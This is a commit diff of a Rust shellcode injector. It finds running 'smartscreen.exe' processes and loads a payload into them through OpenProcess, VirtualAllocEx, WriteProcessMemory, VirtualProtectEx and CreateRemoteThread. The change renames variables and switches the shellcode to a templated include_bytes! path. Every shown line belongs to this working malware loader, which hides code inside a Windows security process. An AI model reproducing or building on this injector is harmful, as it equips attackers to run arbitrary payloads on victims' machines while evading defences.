@@ -6,6 +6,7 @@ use windows::Win32::System::Memory::{MEM_COMMIT, PAGE_EXECUTE_READ, PAGE_READWRI
6
6
use windows:: Win32 :: System :: Threading :: CreateRemoteThread ;
7
7
use windows:: Win32 :: System :: Threading :: OpenProcess ;
8
8
use windows:: Win32 :: System :: Threading :: PROCESS_ALL_ACCESS ;
9
+ use std:: include_bytes;
9
10
10
11
fn boxboxbox ( tar : & str ) -> Vec < u32 > {
11
12
// search for processes to inject into
@@ -22,29 +23,29 @@ fn enhance(buf: &[u8], tar: &u32) {
22
23
// injecting in target processes :)
23
24
24
25
unsafe {
25
- let hProcess = OpenProcess ( PROCESS_ALL_ACCESS , false , * tar) . unwrap ( ) ;
26
- let resultPtr = VirtualAllocEx ( hProcess , None , buf. len ( ) , MEM_COMMIT , PAGE_READWRITE ) ;
26
+ let h_process = OpenProcess ( PROCESS_ALL_ACCESS , false , * tar) . unwrap ( ) ;
27
+ let result_ptr = VirtualAllocEx ( h_process , None , buf. len ( ) , MEM_COMMIT , PAGE_READWRITE ) ;
27
28
let mut byteswritten = 0 ;
28
29
let _resb = WriteProcessMemory (
29
- hProcess ,
30
- resultPtr ,
30
+ h_process ,
31
+ result_ptr ,
31
32
buf. as_ptr ( ) as _ ,
32
33
buf. len ( ) ,
33
34
Some ( & mut byteswritten) ,
34
35
) ;
35
36
let mut old_perms = PAGE_EXECUTE_READ ;
36
37
let _bool = VirtualProtectEx (
37
- hProcess ,
38
- resultPtr ,
38
+ h_process ,
39
+ result_ptr ,
39
40
buf. len ( ) ,
40
41
PAGE_EXECUTE_READ ,
41
42
& mut old_perms,
42
43
) ;
43
- let _resCRT = CreateRemoteThread (
44
- hProcess ,
44
+ let _res_crt = CreateRemoteThread (
45
+ h_process ,
45
46
None ,
46
47
0 ,
47
- Some ( std:: mem:: transmute ( resultPtr ) ) ,
48
+ Some ( std:: mem:: transmute ( result_ptr ) ) ,
48
49
None ,
49
50
0 ,
50
51
None ,
@@ -57,13 +58,13 @@ fn main() {
57
58
// inject in the following processes:
58
59
let tar: & str = "smartscreen.exe" ;
59
60
60
- let buf: Vec < u8 > = vec ! { { shellcode } } ;
61
+ let buf = include_bytes ! ( { { PATH_TO_SHELLCODE } } ) ;
61
62
let list: Vec < u32 > = boxboxbox ( tar) ;
62
63
if list. len ( ) == 0 {
63
64
panic ! ( "[-] Unable to find a process." )
64
65
} else {
65
66
for i in & list {
66
- enhance ( & buf, i) ;
67
+ enhance ( buf, i) ;
67
68
}
68
69
}
69
70
}
0 commit comments